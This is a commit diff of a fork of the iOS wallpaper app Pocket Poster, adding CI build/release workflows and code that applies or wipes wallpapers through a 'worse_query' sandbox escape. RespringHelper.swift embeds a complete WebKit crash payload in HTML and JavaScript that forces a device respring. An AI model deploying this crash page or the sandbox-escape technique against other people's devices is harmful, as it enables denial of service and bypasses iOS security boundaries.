Compare commits
| Author | SHA1 | Date | |
|---|---|---|---|
|
|
20ea111861 | ||
|
|
4c7d968d49 | ||
|
|
2472fdc48b | ||
|
|
b01dca5c43 | ||
|
|
dd3b90d629 | ||
|
|
18a67ec171 | ||
|
|
fb07aa4558 | ||
|
|
4a8e723569 | ||
|
|
2112e59d46 | ||
|
|
4324cb79db | ||
|
|
5aacc36822 | ||
|
|
c4e17c9609 |
No files matched your search
@@ -0,0 +1,61 @@
|
||||
name: Build IPA
|
||||
|
||||
on:
|
||||
push:
|
||||
branches: [main]
|
||||
pull_request:
|
||||
branches: [main]
|
||||
workflow_dispatch:
|
||||
|
||||
concurrency:
|
||||
group: build-${{ github.ref }}
|
||||
cancel-in-progress: true
|
||||
|
||||
jobs:
|
||||
build:
|
||||
name: Build unsigned IPA
|
||||
runs-on: macos-15
|
||||
timeout-minutes: 45
|
||||
|
||||
steps:
|
||||
- name: Checkout
|
||||
uses: actions/checkout@v4
|
||||
|
||||
- name: Select Xcode
|
||||
run: |
|
||||
# Prefer newest installed Xcode
|
||||
ls /Applications | grep -i Xcode || true
|
||||
sudo xcode-select -s /Applications/Xcode.app/Contents/Developer
|
||||
xcodebuild -version
|
||||
xcodebuild -showsdks | grep iphoneos || true
|
||||
|
||||
- name: Resolve packages
|
||||
run: |
|
||||
xcodebuild -project "Pocket Poster.xcodeproj" \
|
||||
-scheme "Pocket Poster" \
|
||||
-resolvePackageDependencies
|
||||
|
||||
- name: Build IPA
|
||||
run: |
|
||||
chmod +x ./ipabuild.sh
|
||||
./ipabuild.sh
|
||||
|
||||
- name: Prepare artifact
|
||||
run: |
|
||||
VERSION=$(/usr/libexec/PlistBuddy -c 'Print :CFBundleShortVersionString' \
|
||||
"build/DerivedDataApp/Build/Products/Release-iphoneos/Pocket Poster.app/Info.plist" 2>/dev/null \
|
||||
|| grep -m1 'MARKETING_VERSION' "Pocket Poster.xcodeproj/project.pbxproj" | sed 's/[^0-9.]//g')
|
||||
echo "VERSION=$VERSION" >> "$GITHUB_ENV"
|
||||
test -f "build/Pocket_Poster.ipa" || cp "build/Pocket Poster.ipa" "build/Pocket_Poster.ipa"
|
||||
cp "build/Pocket_Poster.ipa" "build/Pocket_Poster_${VERSION}.ipa"
|
||||
ls -lh build/*.ipa
|
||||
|
||||
- name: Upload IPA (artifact)
|
||||
uses: actions/upload-artifact@v4
|
||||
with:
|
||||
name: Pocket_Poster-${{ env.VERSION }}
|
||||
path: |
|
||||
build/Pocket_Poster.ipa
|
||||
build/Pocket_Poster_*.ipa
|
||||
if-no-files-found: error
|
||||
retention-days: 30
|
||||
@@ -0,0 +1,119 @@
|
||||
name: Release IPA
|
||||
|
||||
on:
|
||||
push:
|
||||
tags:
|
||||
- "v*"
|
||||
workflow_dispatch:
|
||||
inputs:
|
||||
tag:
|
||||
description: "Optional tag override (e.g. v3.2.2)"
|
||||
required: false
|
||||
type: string
|
||||
default: ""
|
||||
|
||||
permissions:
|
||||
contents: write
|
||||
|
||||
jobs:
|
||||
release:
|
||||
name: Build and release IPA
|
||||
runs-on: macos-15
|
||||
timeout-minutes: 60
|
||||
|
||||
steps:
|
||||
- name: Checkout
|
||||
uses: actions/checkout@v4
|
||||
|
||||
- name: Select Xcode
|
||||
run: |
|
||||
sudo xcode-select -s /Applications/Xcode.app/Contents/Developer
|
||||
xcodebuild -version
|
||||
|
||||
- name: Resolve Swift packages
|
||||
run: |
|
||||
xcodebuild -project "Pocket Poster.xcodeproj" \
|
||||
-scheme "Pocket Poster" \
|
||||
-resolvePackageDependencies
|
||||
|
||||
- name: Build IPA
|
||||
run: |
|
||||
chmod +x ./ipabuild.sh
|
||||
./ipabuild.sh
|
||||
|
||||
- name: Package release assets
|
||||
id: meta
|
||||
run: |
|
||||
set -euo pipefail
|
||||
APP_PLIST="build/DerivedDataApp/Build/Products/Release-iphoneos/Pocket Poster.app/Info.plist"
|
||||
VERSION=$(/usr/libexec/PlistBuddy -c 'Print :CFBundleShortVersionString' "$APP_PLIST")
|
||||
BUILD=$(/usr/libexec/PlistBuddy -c 'Print :CFBundleVersion' "$APP_PLIST")
|
||||
BUNDLE_ID=$(/usr/libexec/PlistBuddy -c 'Print :CFBundleIdentifier' "$APP_PLIST")
|
||||
|
||||
if [ "${{ github.event_name }}" = "workflow_dispatch" ] && [ -n "${{ inputs.tag }}" ]; then
|
||||
TAG="${{ inputs.tag }}"
|
||||
elif [ "${GITHUB_REF_TYPE}" = "tag" ]; then
|
||||
TAG="${GITHUB_REF_NAME}"
|
||||
else
|
||||
TAG="v${VERSION}"
|
||||
fi
|
||||
|
||||
test -f build/Pocket_Poster.ipa || cp "build/Pocket Poster.ipa" build/Pocket_Poster.ipa
|
||||
cp build/Pocket_Poster.ipa "build/Pocket_Poster_${VERSION}.ipa"
|
||||
|
||||
echo "version=${VERSION}" >> "$GITHUB_OUTPUT"
|
||||
echo "build=${BUILD}" >> "$GITHUB_OUTPUT"
|
||||
echo "bundle_id=${BUNDLE_ID}" >> "$GITHUB_OUTPUT"
|
||||
echo "tag=${TAG}" >> "$GITHUB_OUTPUT"
|
||||
|
||||
{
|
||||
echo "## Pocket Poster ${VERSION}"
|
||||
echo ""
|
||||
echo "bad_query fork for **iOS 26 – 27.0b4**"
|
||||
echo ""
|
||||
echo "- On-device PosterBoard hash (no PC / Nugget)"
|
||||
echo "- Apply wallpapers via sandbox escape"
|
||||
echo "- Reset Collections (descriptor wipe)"
|
||||
echo "- Mond-style WebKit respring (works in LiveContainer)"
|
||||
echo ""
|
||||
echo "**Bundle ID:** \`${BUNDLE_ID}\`"
|
||||
echo "**Build:** ${BUILD}"
|
||||
echo ""
|
||||
echo "Sideload with TrollStore / SideStore / LiveContainer."
|
||||
echo ""
|
||||
echo "---"
|
||||
echo "Credits: forcequitOS/bad_query · original leminlimez/Pocket-Poster"
|
||||
} > release_notes.md
|
||||
|
||||
ls -lh build/*.ipa
|
||||
echo "Publishing tag=${TAG} version=${VERSION}"
|
||||
|
||||
- name: Create GitHub Release
|
||||
env:
|
||||
GH_TOKEN: ${{ secrets.GITHUB_TOKEN }}
|
||||
run: |
|
||||
set -euo pipefail
|
||||
TAG="${{ steps.meta.outputs.tag }}"
|
||||
VERSION="${{ steps.meta.outputs.version }}"
|
||||
|
||||
# Create tag on current commit if dispatch without existing tag
|
||||
if ! git rev-parse "$TAG" >/dev/null 2>&1; then
|
||||
git tag "$TAG"
|
||||
git push origin "$TAG" || true
|
||||
fi
|
||||
|
||||
if gh release view "$TAG" >/dev/null 2>&1; then
|
||||
gh release upload "$TAG" \
|
||||
build/Pocket_Poster.ipa \
|
||||
"build/Pocket_Poster_${VERSION}.ipa" \
|
||||
--clobber
|
||||
gh release edit "$TAG" \
|
||||
--title "Pocket Poster ${VERSION}" \
|
||||
--notes-file release_notes.md
|
||||
else
|
||||
gh release create "$TAG" \
|
||||
build/Pocket_Poster.ipa \
|
||||
"build/Pocket_Poster_${VERSION}.ipa" \
|
||||
--title "Pocket Poster ${VERSION}" \
|
||||
--notes-file release_notes.md
|
||||
fi
|
||||
+4
-1
@@ -1 +1,4 @@
|
||||
/build
|
||||
/build/
|
||||
.DS_Store
|
||||
xcuserdata/
|
||||
*.xcuserstate
|
||||
@@ -16,9 +16,26 @@
|
||||
6F09B79D2DEB694B00CDE89C /* Pocket Poster.app */ = {isa = PBXFileReference; explicitFileType = wrapper.application; includeInIndex = 0; path = "Pocket Poster.app"; sourceTree = BUILT_PRODUCTS_DIR; };
|
||||
/* End PBXFileReference section */
|
||||
|
||||
/* Begin PBXFileSystemSynchronizedGroupBuildPhaseMembershipExceptionSet section */
|
||||
BQ0000012DEB694B00CDE89C /* Exceptions for "Pocket Poster" folder in "Compile Sources" phase from "Pocket Poster" target */ = {
|
||||
isa = PBXFileSystemSynchronizedGroupBuildPhaseMembershipExceptionSet;
|
||||
buildPhase = 6F09B7992DEB694B00CDE89C /* Sources */;
|
||||
membershipExceptions = (
|
||||
Exploit/bad_query.h,
|
||||
"Exploit/Pocket-Poster-Bridging-Header.h",
|
||||
Exploit/pathleak.h,
|
||||
Exploit/worse_query.h,
|
||||
"Exploit/xpc_crash.h",
|
||||
);
|
||||
};
|
||||
/* End PBXFileSystemSynchronizedGroupBuildPhaseMembershipExceptionSet section */
|
||||
|
||||
/* Begin PBXFileSystemSynchronizedRootGroup section */
|
||||
6F09B79F2DEB694B00CDE89C /* Pocket Poster */ = {
|
||||
isa = PBXFileSystemSynchronizedRootGroup;
|
||||
exceptions = (
|
||||
BQ0000012DEB694B00CDE89C /* Exceptions for "Pocket Poster" folder in "Compile Sources" phase from "Pocket Poster" target */,
|
||||
);
|
||||
explicitFolders = (
|
||||
Resources/VideoCAML,
|
||||
);
|
||||
@@ -272,11 +289,15 @@
|
||||
ASSETCATALOG_COMPILER_APPICON_NAME = AppIcon;
|
||||
ASSETCATALOG_COMPILER_GLOBAL_ACCENT_COLOR_NAME = AccentColor;
|
||||
CODE_SIGN_STYLE = Automatic;
|
||||
CURRENT_PROJECT_VERSION = 0;
|
||||
CURRENT_PROJECT_VERSION = 4;
|
||||
DEVELOPMENT_ASSET_PATHS = "\"Pocket Poster/Preview Content\"";
|
||||
DEVELOPMENT_TEAM = 2P4CP47H76;
|
||||
ENABLE_PREVIEWS = YES;
|
||||
GENERATE_INFOPLIST_FILE = YES;
|
||||
HEADER_SEARCH_PATHS = (
|
||||
"$(inherited)",
|
||||
"\"$(SRCROOT)/Pocket Poster/Exploit\"",
|
||||
);
|
||||
INFOPLIST_FILE = "Pocket-Poster-Info.plist";
|
||||
INFOPLIST_KEY_LSSupportsOpeningDocumentsInPlace = YES;
|
||||
INFOPLIST_KEY_UIApplicationSceneManifest_Generation = YES;
|
||||
@@ -289,10 +310,11 @@
|
||||
"$(inherited)",
|
||||
"@executable_path/Frameworks",
|
||||
);
|
||||
MARKETING_VERSION = 3.0;
|
||||
PRODUCT_BUNDLE_IDENTIFIER = "com.lemin.Pocket-Poster";
|
||||
MARKETING_VERSION = 3.3.0;
|
||||
PRODUCT_BUNDLE_IDENTIFIER = "com.mak5er.Pocket-Poster";
|
||||
PRODUCT_NAME = "$(TARGET_NAME)";
|
||||
SWIFT_EMIT_LOC_STRINGS = YES;
|
||||
SWIFT_OBJC_BRIDGING_HEADER = "Pocket Poster/Exploit/Pocket-Poster-Bridging-Header.h";
|
||||
SWIFT_VERSION = 5.0;
|
||||
TARGETED_DEVICE_FAMILY = "1,2";
|
||||
};
|
||||
@@ -304,11 +326,15 @@
|
||||
ASSETCATALOG_COMPILER_APPICON_NAME = AppIcon;
|
||||
ASSETCATALOG_COMPILER_GLOBAL_ACCENT_COLOR_NAME = AccentColor;
|
||||
CODE_SIGN_STYLE = Automatic;
|
||||
CURRENT_PROJECT_VERSION = 0;
|
||||
CURRENT_PROJECT_VERSION = 4;
|
||||
DEVELOPMENT_ASSET_PATHS = "\"Pocket Poster/Preview Content\"";
|
||||
DEVELOPMENT_TEAM = 2P4CP47H76;
|
||||
ENABLE_PREVIEWS = YES;
|
||||
GENERATE_INFOPLIST_FILE = YES;
|
||||
HEADER_SEARCH_PATHS = (
|
||||
"$(inherited)",
|
||||
"\"$(SRCROOT)/Pocket Poster/Exploit\"",
|
||||
);
|
||||
INFOPLIST_FILE = "Pocket-Poster-Info.plist";
|
||||
INFOPLIST_KEY_LSSupportsOpeningDocumentsInPlace = YES;
|
||||
INFOPLIST_KEY_UIApplicationSceneManifest_Generation = YES;
|
||||
@@ -321,10 +347,11 @@
|
||||
"$(inherited)",
|
||||
"@executable_path/Frameworks",
|
||||
);
|
||||
MARKETING_VERSION = 3.0;
|
||||
PRODUCT_BUNDLE_IDENTIFIER = "com.lemin.Pocket-Poster";
|
||||
MARKETING_VERSION = 3.3.0;
|
||||
PRODUCT_BUNDLE_IDENTIFIER = "com.mak5er.Pocket-Poster";
|
||||
PRODUCT_NAME = "$(TARGET_NAME)";
|
||||
SWIFT_EMIT_LOC_STRINGS = YES;
|
||||
SWIFT_OBJC_BRIDGING_HEADER = "Pocket Poster/Exploit/Pocket-Poster-Bridging-Header.h";
|
||||
SWIFT_VERSION = 5.0;
|
||||
TARGETED_DEVICE_FAMILY = "1,2";
|
||||
};
|
||||
|
||||
@@ -0,0 +1,77 @@
|
||||
<?xml version="1.0" encoding="UTF-8"?>
|
||||
<Scheme
|
||||
LastUpgradeVersion = "1620"
|
||||
version = "1.7">
|
||||
<BuildAction
|
||||
parallelizeBuildables = "YES"
|
||||
buildImplicitDependencies = "YES">
|
||||
<BuildActionEntries>
|
||||
<BuildActionEntry
|
||||
buildForTesting = "YES"
|
||||
buildForRunning = "YES"
|
||||
buildForProfiling = "YES"
|
||||
buildForArchiving = "YES"
|
||||
buildForAnalyzing = "YES">
|
||||
<BuildableReference
|
||||
BuildableIdentifier = "primary"
|
||||
BlueprintIdentifier = "6F09B79C2DEB694B00CDE89C"
|
||||
BuildableName = "Pocket Poster.app"
|
||||
BlueprintName = "Pocket Poster"
|
||||
ReferencedContainer = "container:Pocket Poster.xcodeproj">
|
||||
</BuildableReference>
|
||||
</BuildActionEntry>
|
||||
</BuildActionEntries>
|
||||
</BuildAction>
|
||||
<TestAction
|
||||
buildConfiguration = "Debug"
|
||||
selectedDebuggerIdentifier = "Xcode.DebuggerFoundation.Debugger.LLDB"
|
||||
selectedLauncherIdentifier = "Xcode.DebuggerFoundation.Launcher.LLDB"
|
||||
shouldUseLaunchSchemeArgsEnv = "YES"
|
||||
shouldAutocreateTestPlan = "YES">
|
||||
</TestAction>
|
||||
<LaunchAction
|
||||
buildConfiguration = "Debug"
|
||||
selectedDebuggerIdentifier = "Xcode.DebuggerFoundation.Debugger.LLDB"
|
||||
selectedLauncherIdentifier = "Xcode.DebuggerFoundation.Launcher.LLDB"
|
||||
launchStyle = "0"
|
||||
useCustomWorkingDirectory = "NO"
|
||||
ignoresPersistentStateOnLaunch = "NO"
|
||||
debugDocumentVersioning = "YES"
|
||||
debugServiceExtension = "internal"
|
||||
allowLocationSimulation = "YES">
|
||||
<BuildableProductRunnable
|
||||
runnableDebuggingMode = "0">
|
||||
<BuildableReference
|
||||
BuildableIdentifier = "primary"
|
||||
BlueprintIdentifier = "6F09B79C2DEB694B00CDE89C"
|
||||
BuildableName = "Pocket Poster.app"
|
||||
BlueprintName = "Pocket Poster"
|
||||
ReferencedContainer = "container:Pocket Poster.xcodeproj">
|
||||
</BuildableReference>
|
||||
</BuildableProductRunnable>
|
||||
</LaunchAction>
|
||||
<ProfileAction
|
||||
buildConfiguration = "Release"
|
||||
shouldUseLaunchSchemeArgsEnv = "YES"
|
||||
savedToolIdentifier = ""
|
||||
useCustomWorkingDirectory = "NO"
|
||||
debugDocumentVersioning = "YES">
|
||||
<BuildableProductRunnable
|
||||
runnableDebuggingMode = "0">
|
||||
<BuildableReference
|
||||
BuildableIdentifier = "primary"
|
||||
BlueprintIdentifier = "6F09B79C2DEB694B00CDE89C"
|
||||
BuildableName = "Pocket Poster.app"
|
||||
BlueprintName = "Pocket Poster"
|
||||
ReferencedContainer = "container:Pocket Poster.xcodeproj">
|
||||
</BuildableReference>
|
||||
</BuildableProductRunnable>
|
||||
</ProfileAction>
|
||||
<AnalyzeAction
|
||||
buildConfiguration = "Debug">
|
||||
</AnalyzeAction>
|
||||
<ArchiveAction
|
||||
buildConfiguration = "Release"
|
||||
revealArchiveInOrganizer = "YES">
|
||||
</ArchiveAction>
|
||||
</Scheme>
|
||||
@@ -0,0 +1,21 @@
|
||||
{
|
||||
"images" : [
|
||||
{
|
||||
"idiom" : "universal",
|
||||
"scale" : "1x"
|
||||
},
|
||||
{
|
||||
"filename" : "Mak5er@2x.png",
|
||||
"idiom" : "universal",
|
||||
"scale" : "2x"
|
||||
},
|
||||
{
|
||||
"idiom" : "universal",
|
||||
"scale" : "3x"
|
||||
}
|
||||
],
|
||||
"info" : {
|
||||
"author" : "xcode",
|
||||
"version" : 1
|
||||
}
|
||||
}
|
||||
Binary file not shown.
|
After Width: | Height: | Size: 15 KiB |
Binary file not shown.
|
After Width: | Height: | Size: 15 KiB |
@@ -134,13 +134,32 @@ class CarPlayManager {
|
||||
}
|
||||
}
|
||||
|
||||
// symlink and apply
|
||||
let _ = try SymHandler.createAppSymlink(for: "\(appHash)/Library/Caches/MappedImageCache/com.apple.CarPlayApp.wallpaper-images")
|
||||
defer {
|
||||
SymHandler.cleanup()
|
||||
}
|
||||
for imgURL in toRemove {
|
||||
try FileManager.default.trashItem(at: imgURL, resultingItemURL: nil)
|
||||
|
||||
let cacheRel = "\(appHash)/Library/Caches/MappedImageCache/com.apple.CarPlayApp.wallpaper-images"
|
||||
if SymHandler.prefersSandboxEscape {
|
||||
let destPath = SandboxEscape.carPlayCachePath(appHash: appHash)
|
||||
do {
|
||||
try SymHandler.writeFilesViaEscape(toDirectory: destPath, files: toRemove)
|
||||
// remove local staging copies after successful write
|
||||
for imgURL in toRemove {
|
||||
try? FileManager.default.removeItem(at: imgURL)
|
||||
}
|
||||
} catch {
|
||||
print("worse_query CarPlay failed, falling back to symlink: \(error)")
|
||||
let _ = try SymHandler.createAppSymlink(for: cacheRel)
|
||||
for imgURL in toRemove {
|
||||
try FileManager.default.trashItem(at: imgURL, resultingItemURL: nil)
|
||||
}
|
||||
}
|
||||
} else {
|
||||
// legacy symlink + trashItem
|
||||
let _ = try SymHandler.createAppSymlink(for: cacheRel)
|
||||
for imgURL in toRemove {
|
||||
try FileManager.default.trashItem(at: imgURL, resultingItemURL: nil)
|
||||
}
|
||||
}
|
||||
UserDefaults.standard.set(activeWP, forKey: "ActiveCarPlayWallpapers")
|
||||
let test = SymHandler.getDocumentsDirectory().appendingPathComponent("Caches")
|
||||
|
||||
@@ -30,12 +30,16 @@ class PosterBoardManager: ObservableObject {
|
||||
}
|
||||
|
||||
func setSystemLanguage(to new_lang: String) -> Bool {
|
||||
// Load Preferences private frameworks if needed
|
||||
dlopen("/System/Library/PrivateFrameworks/SettingsFoundation.framework/SettingsFoundation", RTLD_NOW)
|
||||
dlopen("/System/Library/PrivateFrameworks/Preferences.framework/Preferences", RTLD_NOW)
|
||||
dlopen("/System/Library/PrivateFrameworks/InternationalSupport.framework/InternationalSupport", RTLD_NOW)
|
||||
|
||||
var langManager: NSObject = NSObject()
|
||||
if #available(iOS 18.0, *) {
|
||||
guard let obj = objc_getClass("IPSettingsUtilities") as? NSObject else { return false }
|
||||
langManager = obj
|
||||
} else {
|
||||
// TODO: Need to find the correct class for this on iOS 17
|
||||
guard let obj = objc_getClass("PSLanguageSelector") as? NSObject else { return false }
|
||||
langManager = obj
|
||||
}
|
||||
@@ -47,6 +51,68 @@ class PosterBoardManager: ObservableObject {
|
||||
return false
|
||||
}
|
||||
|
||||
/// Wipe PosterBoard custom descriptor collections using worse_query (real delete).
|
||||
/// Falls back to language-toggle trick on older exploit path.
|
||||
func resetCollections(appHash: String) throws {
|
||||
if SymHandler.prefersSandboxEscape {
|
||||
try wipeDescriptorsViaEscape(appHash: appHash)
|
||||
return
|
||||
}
|
||||
|
||||
// Legacy: language toggle forces PosterBoard to rebuild collections
|
||||
guard let lang = UserDefaults.standard.stringArray(forKey: "AppleLanguages")?.first else {
|
||||
throw ApplyError.unexpected(info: "Could not read system language for reset.")
|
||||
}
|
||||
guard setSystemLanguage(to: lang) else {
|
||||
throw ApplyError.unexpected(info: "Language API failed. Reset collections manually in Settings → Language & Region.")
|
||||
}
|
||||
}
|
||||
|
||||
/// Delete everything under each PRBPosterExtensionDataStore/*/Extensions/*/descriptors.
|
||||
private func wipeDescriptorsViaEscape(appHash: String) throws {
|
||||
let ver = SymHandler.getExtensionVersion()
|
||||
let extensionsRoot = SandboxEscape.applicationContainerPath(appHash: appHash)
|
||||
+ "/Library/Application Support/PRBPosterExtensionDataStore/\(ver)/Extensions"
|
||||
|
||||
// Open parent with sandbox extension. A missing path simply means there
|
||||
// is nothing to wipe yet.
|
||||
guard let rootHandle = try? SandboxEscape.consume(path: extensionsRoot, create: true) else {
|
||||
if !SandboxEscape.isAvailable {
|
||||
throw SandboxEscapeError.unavailable
|
||||
}
|
||||
return
|
||||
}
|
||||
defer { rootHandle.release() }
|
||||
|
||||
let fm = FileManager.default
|
||||
guard fm.fileExists(atPath: extensionsRoot) else {
|
||||
return
|
||||
}
|
||||
|
||||
let extDirs = try fm.contentsOfDirectory(atPath: extensionsRoot)
|
||||
var wiped = 0
|
||||
for extName in extDirs {
|
||||
let descriptorsPath = (extensionsRoot as NSString)
|
||||
.appendingPathComponent(extName)
|
||||
.appending("/descriptors")
|
||||
|
||||
// Ensure we hold an extension on the descriptors dir itself
|
||||
let descHandle = try? SandboxEscape.consume(path: descriptorsPath, create: true)
|
||||
defer { descHandle?.release() }
|
||||
|
||||
guard fm.fileExists(atPath: descriptorsPath) else { continue }
|
||||
|
||||
let items = (try? fm.contentsOfDirectory(atPath: descriptorsPath)) ?? []
|
||||
for item in items {
|
||||
if item == "__MACOSX" || item.hasPrefix(".") { continue }
|
||||
let full = (descriptorsPath as NSString).appendingPathComponent(item)
|
||||
try? fm.removeItem(atPath: full)
|
||||
wiped += 1
|
||||
}
|
||||
}
|
||||
print("resetCollections: wiped \(wiped) descriptor item(s)")
|
||||
}
|
||||
|
||||
func openPosterBoard() -> Bool {
|
||||
guard let obj = objc_getClass("LSApplicationWorkspace") as? NSObject else { return false }
|
||||
let workspace = obj.perform(Selector(("defaultWorkspace")))?.takeUnretainedValue() as? NSObject
|
||||
@@ -60,6 +126,8 @@ class PosterBoardManager: ObservableObject {
|
||||
|
||||
private func unzipFile(at url: URL) throws -> URL {
|
||||
let fileName = url.deletingPathExtension().lastPathComponent
|
||||
// Replace spaces and %20 with underscores
|
||||
let normalizedFileName = fileName.replacingOccurrences(of: "[ \\%20]", with: "_", options: .regularExpression)
|
||||
let fileData = try Data(contentsOf: url)
|
||||
let fileManager = FileManager()
|
||||
|
||||
@@ -68,7 +136,6 @@ class PosterBoardManager: ObservableObject {
|
||||
if !FileManager.default.fileExists(atPath: path.path()) {
|
||||
try? FileManager.default.createDirectory(at: path, withIntermediateDirectories: true)
|
||||
}
|
||||
let url = path.appending(path: fileName)
|
||||
|
||||
// Remove All files in this directory
|
||||
let existingFiles = try FileManager.default.contentsOfDirectory(at: path, includingPropertiesForKeys: nil, options: .skipsHiddenFiles)
|
||||
@@ -76,16 +143,17 @@ class PosterBoardManager: ObservableObject {
|
||||
{
|
||||
try FileManager.default.removeItem(at: fileUrl)
|
||||
}
|
||||
let zipURL = path.appending(path: normalizedFileName)
|
||||
|
||||
// Save our Zip file
|
||||
try fileData.write(to: url, options: [.atomic])
|
||||
try fileData.write(to: zipURL, options: [.atomic])
|
||||
|
||||
// Unzip the Zipped Up File
|
||||
var destinationURL = path
|
||||
if FileManager.default.fileExists(atPath: url.path())
|
||||
if FileManager.default.fileExists(atPath: zipURL.path())
|
||||
{
|
||||
destinationURL.append(path: "directory")
|
||||
try fileManager.unzipItem(at: url, to: destinationURL)
|
||||
try fileManager.unzipItem(at: zipURL, to: destinationURL)
|
||||
}
|
||||
|
||||
return destinationURL
|
||||
@@ -210,20 +278,34 @@ class PosterBoardManager: ObservableObject {
|
||||
SymHandler.cleanup()
|
||||
}
|
||||
|
||||
let useSandboxEscape = SymHandler.prefersSandboxEscape
|
||||
if useSandboxEscape {
|
||||
UIApplication.shared.change(title: NSLocalizedString("Applying Wallpapers...", comment: ""), body: "worse_query sandbox escape…")
|
||||
}
|
||||
|
||||
for (ext, descriptorsList) in extList {
|
||||
let _ = try SymHandler.createDescriptorsSymlink(appHash: appHash, ext: ext)
|
||||
var foldersToWrite: [URL] = []
|
||||
for descriptors in descriptorsList {
|
||||
// create the folder
|
||||
for descr in try FileManager.default.contentsOfDirectory(at: descriptors, includingPropertiesForKeys: nil, options: .skipsHiddenFiles) {
|
||||
if descr.lastPathComponent != "__MACOSX" {
|
||||
try randomizeWallpaperId(url: descr)
|
||||
let newURL = SymHandler.getDocumentsDirectory().appendingPathComponent(UUID().uuidString, conformingTo: .directory)
|
||||
try FileManager.default.moveItem(at: descr, to: newURL)
|
||||
|
||||
try FileManager.default.trashItem(at: newURL, resultingItemURL: nil)
|
||||
foldersToWrite.append(descr)
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
if useSandboxEscape {
|
||||
// iOS 26/27: direct write via the container_query sandbox extension
|
||||
do {
|
||||
try SymHandler.writeDescriptorsViaEscape(appHash: appHash, ext: ext, descriptorFolders: foldersToWrite)
|
||||
} catch {
|
||||
// Fall back to legacy .Trash symlink if the escape path fails
|
||||
print("worse_query apply failed, falling back to symlink: \(error)")
|
||||
try applyDescriptorsViaSymlink(appHash: appHash, ext: ext, folders: foldersToWrite)
|
||||
}
|
||||
} else {
|
||||
try applyDescriptorsViaSymlink(appHash: appHash, ext: ext, folders: foldersToWrite)
|
||||
}
|
||||
SymHandler.cleanup()
|
||||
}
|
||||
|
||||
@@ -235,6 +317,16 @@ class PosterBoardManager: ObservableObject {
|
||||
}
|
||||
}
|
||||
|
||||
/// Legacy exploit: symlink Documents/.Trash → descriptors, then trashItem into it.
|
||||
private func applyDescriptorsViaSymlink(appHash: String, ext: String, folders: [URL]) throws {
|
||||
let _ = try SymHandler.createDescriptorsSymlink(appHash: appHash, ext: ext)
|
||||
for descr in folders {
|
||||
let newURL = SymHandler.getDocumentsDirectory().appendingPathComponent(UUID().uuidString, conformingTo: .directory)
|
||||
try FileManager.default.copyItem(at: descr, to: newURL)
|
||||
try FileManager.default.trashItem(at: newURL, resultingItemURL: nil)
|
||||
}
|
||||
}
|
||||
|
||||
static func clearCache() throws {
|
||||
SymHandler.cleanup()
|
||||
let docDir = SymHandler.getDocumentsDirectory()
|
||||
|
||||
@@ -0,0 +1,124 @@
|
||||
//
|
||||
// RespringHelper.swift
|
||||
// Pocket Poster
|
||||
//
|
||||
// Mond-style instant respring (WebKit GPU crash @neonmodder123).
|
||||
// No VC present/dismiss chain — WKWebView on a top-level window, load immediately.
|
||||
//
|
||||
|
||||
import Foundation
|
||||
import UIKit
|
||||
import WebKit
|
||||
import ObjectiveC
|
||||
|
||||
enum RespringHelper {
|
||||
|
||||
/// Keep the respring window alive until the process dies.
|
||||
private static var stickyWindow: UIWindow?
|
||||
private static var stickyWebView: WKWebView?
|
||||
|
||||
/// Direct crash payload (inner document from Mond — no outer iframe delay).
|
||||
/// Credit: @neonmodder123 / Mond
|
||||
private static let crashHTML = """
|
||||
<!DOCTYPE html><html><head><meta name="viewport" content="width=device-width"></head><body><script>
|
||||
(function(){
|
||||
var c=document.createElement('div');
|
||||
c.style.cssText='perspective:1px;perspective-origin:9999999% 9999999%;';
|
||||
document.body.appendChild(c);
|
||||
for(var i=0;i<500;i++){
|
||||
var d=document.createElement('div');
|
||||
d.style.cssText='position:absolute;width:100vw;height:100vh;backdrop-filter:blur(100px);-webkit-backdrop-filter:blur(100px);transform:translate3d(100000px,100000px,'+i+'px) rotateY(90deg);';
|
||||
c.appendChild(d);
|
||||
}
|
||||
setInterval(function(){
|
||||
try{navigator.share({title:'R',text:'R'.repeat(100000)});}catch(e){}
|
||||
try{crypto.getRandomValues(new Uint8Array(1024*1024*10));}catch(e){}
|
||||
},0);
|
||||
})();
|
||||
</script></body></html>
|
||||
"""
|
||||
|
||||
/// Instant full respring (Mond path). Safe under LiveContainer.
|
||||
static func respring() {
|
||||
#if targetEnvironment(simulator)
|
||||
print("respring skipped on simulator")
|
||||
return
|
||||
#else
|
||||
// Must be main thread for UIWindow / WKWebView
|
||||
if !Thread.isMainThread {
|
||||
DispatchQueue.main.async { fireNow() }
|
||||
return
|
||||
}
|
||||
fireNow()
|
||||
#endif
|
||||
}
|
||||
|
||||
static func respringNow() { respring() }
|
||||
|
||||
private static func fireNow() {
|
||||
UIImpactFeedbackGenerator(style: .heavy).impactOccurred()
|
||||
|
||||
// 1) Kill any alerts instantly so nothing blocks rendering
|
||||
currentUIAlertController?.dismiss(animated: false)
|
||||
currentUIAlertController = nil
|
||||
|
||||
// 2) Build WKWebView + load crash HTML BEFORE showing window (starts process ASAP)
|
||||
let config = WKWebViewConfiguration()
|
||||
config.websiteDataStore = .nonPersistent()
|
||||
let prefs = WKWebpagePreferences()
|
||||
prefs.allowsContentJavaScript = true
|
||||
config.defaultWebpagePreferences = prefs
|
||||
// Shared process pool warms slightly faster on repeat
|
||||
config.processPool = WKProcessPool()
|
||||
|
||||
let webView = WKWebView(frame: UIScreen.main.bounds, configuration: config)
|
||||
webView.isOpaque = false
|
||||
webView.backgroundColor = .black
|
||||
webView.scrollView.isScrollEnabled = false
|
||||
webView.scrollView.backgroundColor = .black
|
||||
|
||||
// Load payload immediately — don't wait for layout/appear
|
||||
webView.loadHTMLString(crashHTML, baseURL: URL(string: "about:blank"))
|
||||
stickyWebView = webView
|
||||
|
||||
// 3) Slap it on a top-level window (no present animation, no host VC)
|
||||
let scenes = UIApplication.shared.connectedScenes.compactMap { $0 as? UIWindowScene }
|
||||
let scene = scenes.first(where: { $0.activationState == .foregroundActive }) ?? scenes.first
|
||||
|
||||
let window: UIWindow
|
||||
if let scene {
|
||||
window = UIWindow(windowScene: scene)
|
||||
window.frame = scene.coordinateSpace.bounds
|
||||
} else {
|
||||
window = UIWindow(frame: UIScreen.main.bounds)
|
||||
}
|
||||
window.windowLevel = .alert + 100
|
||||
window.backgroundColor = .black
|
||||
window.isHidden = false
|
||||
|
||||
let host = UIViewController()
|
||||
host.view.backgroundColor = .black
|
||||
host.view.addSubview(webView)
|
||||
webView.frame = host.view.bounds
|
||||
webView.autoresizingMask = [.flexibleWidth, .flexibleHeight]
|
||||
window.rootViewController = host
|
||||
window.makeKeyAndVisible()
|
||||
stickyWindow = window
|
